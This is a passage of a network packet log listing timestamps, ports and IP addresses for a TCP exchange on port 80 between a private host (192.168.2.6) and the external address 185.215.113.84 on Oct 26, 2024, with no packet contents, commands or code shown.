Oct 26, 2024 07:27:11.233381033 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.233381987 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.233397007 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.233398914 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.233413935 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.233419895 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.233438015 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.233438969 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.233448982 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.233453035 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.233469009 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.233475924 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.233488083 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.233494043 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.233505011 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.233514071 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.233524084 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.233536005 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.233542919 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.233552933 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.233568907 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.233592987 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.233618021 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.233776093 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.233791113 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.233814001 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.233829975 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.233844995 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.233858109 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.233858109 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.233858109 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.233875990 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.233897924 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.233905077 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.233915091 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.233922005 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.233925104 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.233931065 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.233947992 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.233963013 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.233963013 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.233973026 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.233978987 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.233998060 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.234000921 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.234023094 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.234046936 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.234057903 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.234065056 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.234075069 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.234081984 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.234087944 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.234097004 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.234126091 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.234172106 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.234217882 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.234230042 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.234245062 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.234256029 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.234272003 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.234297037 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.283488035 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.283515930 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.283531904 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.283616066 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.283631086 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.283652067 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.283668041 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.283675909 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.283675909 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.283675909 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.283683062 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.283699989 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.283708096 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.283708096 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.283724070 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.283744097 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.314933062 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.314949989 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.314970970 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.314986944 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.315002918 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.315018892 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.315033913 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.315052032 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.315066099 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.315171003 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.315171003 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.315171003 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.315232038 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.315260887 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.315279007 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.315285921 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.315296888 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.315301895 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.315335035 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.315335035 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.315335035 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.315479994 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.315495014 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.315510988 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.315530062 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.315542936 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.315562963 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.315563917 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.315581083 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.315597057 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.315603018 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.315618992 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.315642118 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.315685987 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.315727949 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.315762997 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.315783024 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.315795898 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.315802097 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.315812111 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.315813065 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.315828085 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.315836906 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.315845013 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.315856934 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.315861940 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.315876961 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.315876961 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.315886021 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.315893888 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.315911055 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.315915108 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.315929890 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.315948963 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.315968037 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.316000938 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.316016912 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.316031933 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.316044092 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.316046000 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.316062927 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.316068888 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.316077948 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.316086054 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.316095114 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.316109896 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.316158056 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.316158056 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.316181898 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.316189051 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.316241980 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.316261053 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.316277981 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.316291094 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.316306114 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.316313982 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.316320896 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.316325903 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.316353083 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.316375017 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.316431999 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.316447020 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.316462040 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.316473007 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.316477060 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.316483021 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.316494942 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.316505909 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.316523075 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.316545963 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.316564083 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.316585064 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.316601992 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.316605091 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.316621065 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.316626072 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.316637993 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.316639900 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.316653967 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.316673040 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.316679001 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.316696882 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.316713095 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.316713095 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.316725969 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.316736937 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.316749096 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.316764116 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.316771984 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.316781044 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.316781998 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.316781998 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.316796064 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.316811085 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.316816092 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.316839933 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.316865921 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.316891909 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.316907883 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.316922903 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.316946983 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.316967010 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.316968918 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.316987038 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.316998005 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.317024946 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.317048073 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.317137957 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.317239046 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.317251921 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.317270041 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.317279100 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.317296028 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.317316055 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.317374945 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.317434072 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.317457914 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.317472935 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.317473888 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.317490101 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.317497015 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.317508936 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.317518950 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.317537069 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.317554951 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.317572117 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.317588091 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.317604065 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.317615986 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.317624092 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.317647934 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.318240881 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.318258047 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.318274975 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.318289995 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.318290949 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.318308115 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.318310976 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.318331957 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.318340063 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.318360090 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.318375111 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.318384886 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.318392992 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.318408012 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.318417072 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.318425894 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.318454981 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.318468094 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.318483114 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.318499088 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.318510056 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.318522930 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.318531036 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.318538904 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.318545103 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.318559885 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.318561077 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.318577051 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.318593025 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.318599939 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.318624020 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.318629980 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.318650961 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.318650961 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.318664074 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.318669081 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.318685055 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.318689108 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.318706036 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.318707943 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.318715096 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.318721056 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.318726063 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.318739891 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.318742990 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.318763971 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.318767071 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.318783998 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.318788052 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.318799973 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.318814039 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.318824053 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.318824053 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.318840981 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.318845034 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.318862915 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.318866968 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.318880081 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.318883896 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.318900108 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.318914890 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.318923950 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.318932056 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.318941116 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.318955898 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.318958998 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.318972111 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.318972111 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.318989038 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.318994999 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.319003105 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.319005013 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.319021940 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.319024086 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.319036961 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.319044113 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.319055080 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.319056988 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.319076061 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.319097042 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.319708109 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.319722891 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.319739103 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.319762945 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.319771051 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.319780111 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.319798946 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.319807053 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.319816113 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.319828033 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.319852114 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.319870949 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.319921970 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.319936991 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.319957018 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.319964886 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.319967985 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.319977045 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.319992065 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.320005894 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.320008039 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.320024014 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.320039988 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.320048094 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.320055962 CEST	80	49991	185.215.113.84	192.168.2.6
